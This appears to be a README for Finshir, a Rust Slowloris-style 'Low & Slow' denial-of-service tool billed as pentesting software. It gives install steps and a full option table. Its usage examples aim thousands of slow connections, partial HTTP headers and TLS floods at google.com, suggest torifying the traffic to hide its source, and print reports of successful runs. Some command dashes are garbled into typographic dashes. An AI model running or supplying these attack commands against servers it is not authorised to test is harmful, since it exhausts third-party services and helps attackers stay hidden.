Finshir is a high-performant, coroutines-driven, and fully customisable implementation of Low & Slow load generator designed for real-world pentesting.
You can easily torify/proxify it using various platform-dependent utilities.
- Coroutines-driven. Finshir uses coroutines (also called lightweight threads) instead of ordinary threads, which lets you open many more connections with fewer system resources.
- Generic. Unlike other Low & Slow utilities, Finshir lets you transmit arbitrary data sets over the TCP protocol. It may be partial HTTP headers, empty spaces, and so on.
- Written in Rust. How you can see, all the logic is written completely in Rust, which means that it leverages bare-metal performance and high-level safety (no SIGSEGV, SIGILL, and other “funny” stuff).
- Platform-dependent. Like most of pentesting utilities, this project is developed for only UNIX-based systems. If you are a Windows user, you probably need a virtual machine or another computer with UNIX.
Building from crates.io
$ cargo install finshir
Building from sources
$ git clone https://github.com/Gymmasssorla/finshir.git
$ cd finshir
$ cargo build –release
$ wget https://github.com/Gymmasssorla/finshir/releases/download/vX.X.X/finshir-x86_64-linux
$ chmod a+x finshir-x86_64-linux
|Prints help information|
|Use a TLS connection instead of the ordinary TCP protocol. It might be used to test HTTPS-based services.|
|Prints version information|
|Time span||This option will be applied if a socket connection error occurs (the next connection will be performed after this periodicity)|
|Time span||Try connect a socket within a specified timeout. If a timeout is reached and a socket wasn’t connected, the program will retry the operation later|
|Positive integer||A number of connections the program will handle simultaneously. This option also equals to a number of coroutines|
|String||A format for displaying local date and time in log messages. Type |
|Positive integer||A number of failed data transmissions used to reconnect a socket to a remote web server|
|Unsigned integer||None||Specifies the |
|Filename||None||A file to which a JSON report (also called a “total summary”) will be generated before exiting|
|Filename||None||A file which consists of a custom JSON array of data portions, specified as strings.|
When a coroutine finished sending all portions, it reconnects its socket and starts sending them again.
|Socket address||None||A receiver of generator traffic, specified as an IP address (or a domain name) and a port number, separated by a colon|
|Time span||A whole test duration, after which all spawned coroutines will stop their work|
|Filename||None||A file to which the program will generate a human-readable report (also called a “total summary”) before exiting|
|From 0 to 5||Enable one of the possible verbosity levels. The zero level doesn’t print anything, and the last level prints everything.|
Note that specifying the 4 and 5 verbosity levels might decrease performance, do it only for debugging.
|Time span||A waiting time span before test execution used to prevent a launch of an erroneous (unwanted) test|
|Time span||A time interval between writing data portions. This option can be used to modify test intensity|
|Time span||If a timeout is reached and a data portion wasn’t sent, the program will retry the operation later|
|Filename||None||A file to which an XML report (also called a “total summary”) will be generated before exiting|
The following command spawns 1000 coroutines, each trying to establish a new TCP connection. When connections are established, it sends empty spaces every 30 seconds, thereby order a server to wait as long as it can:
# Specify one of the Google’s IP addresses as a target web server
$ finshir –receiver=google.com:80
Low & Slow techniques assume to be VERY SLOW, which means that you typically send a couple of bytes every N seconds. For instance, Finshir uses the 30 seconds interval by default, but it’s modifiable as well:
# Test the Google’s server sending data portions every one minute
$ finshir –receiver=google.com:80 –write-periodicity=1min
The default number of parallel connections is 1000. However, you can modify this limit using the
--connections option, but be sure that you system is able to handle such amount of file descriptors:
# Modify the default limit of file descriptors to 17015
$ sudo ulimit -n 17015
# Test the target server using 17000 parallel TCP connections
$ finshir –receiver=google.com:80 –connections=17000
Most of web servers today use the HTTPS protocol instead of HTTP, which is based on TLS. Since v0.2.0, Finshir has functionality to connect through TLS using the
# Connect to the Google’s server through TLS on 443 port (HTTPS)
$ finshir –receiver=google.com:443 –use-tls
Consider specifying a custom verbosity level from 0 to 5 (inclusively), which is done by the
--verbosity option. There is also the
--date-time-format option which tells Finshir to use your custom date-time format.
# Use a custom date-time format and the last verbosity level
$ finshir –receiver=google.com:80 –date-time-format=”%F” –verbosity=5
Different verbosity levels print different logging types. As you can see in the table below, the zero verbosity level prints nothing, and the last one prints everything. The levels in the middle print logs selectively:
Custom Data Portions
By default, Finshir generates 100 empty spaces as data portions to send. You can override this behaviour by specifying your custom messages as a file, consisting of a single JSON array. This example is focused on Google:
# Send partial HTTP headers to Google using `–portions-file`
$ finshir –receiver=google.com:443 -f files/google.json –use-tls
The command above sends a partial HTTPS request (first introduced by Slowloris) through TLS (which is achieved by specifying the
--use-tls flag). You can access this partial request inside
“GET https://www.google.com/ HTTP/1.1\r\n”,
“User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0\r\n”,
“Accept-Encoding: gzip, deflate, br\r\n”,
Generate A Report
Report is a set of statistics variables like a total number of connections established, a total number of failed transmissions and so on. There is three options for this:
# Test the Google’s server and generate a JSON report at the end
$ finshir –receiver=google.com:80 –json-report=report.json
What means “at the end”? Well, Finshir will generate a report for you either if allotted time expires or if you cancel the process by Ctrl-C. You can look at the report examples in the
“test-duration”: “4s 71ms 819us 653ns”,
“test-start”: “Wed, 29 May 2019 22:04:34 -0000”
<?xml version="1.0" encoding="UTF-8"?> <finshir-report> <receiver>google.com:80</receiver> <total-bytes-sent>159</total-bytes-sent> <total-errors>0</total-errors> <time> <test-start>Wed, 29 May 2019 22:04:16 -0000</test-start> <test-duration>2s 289ms 664us 988ns</test-duration> </time> <connections> <successful>159</successful> <failed>0</failed> <total>159</total> </connections> <transmissions> <successful>159</successful> <failed>0</failed> <total>159</total> </transmissions> </finshir-report>
*********************** FINSHIR REPORT *********************** Receiver: google.com:80
Total bytes sent: 535
Total errors: 0
Test start: Wed, 29 May 2019 22:04:55 -0000
Test duration: 7s 385ms 765us 179ns
Successful connections: 535
Failed connections: 0
Total connections: 535
Successful transmissions: 535
Failed transmissions: 0
Total transmissions: 535 **************************************************************
If none of the options above has been specified, Finshir prints a report right to your terminal. That is, you can just run a test, cancel it later, and see the results which you can easily save. Perfect!
Finshir was developed as a means of testing stress resistance of web servers, and not for hacking, that is, the author of the project IS NOT RESPONSIBLE for any damage caused by your use of his program.
Credit: Temirkhan Myrzamadi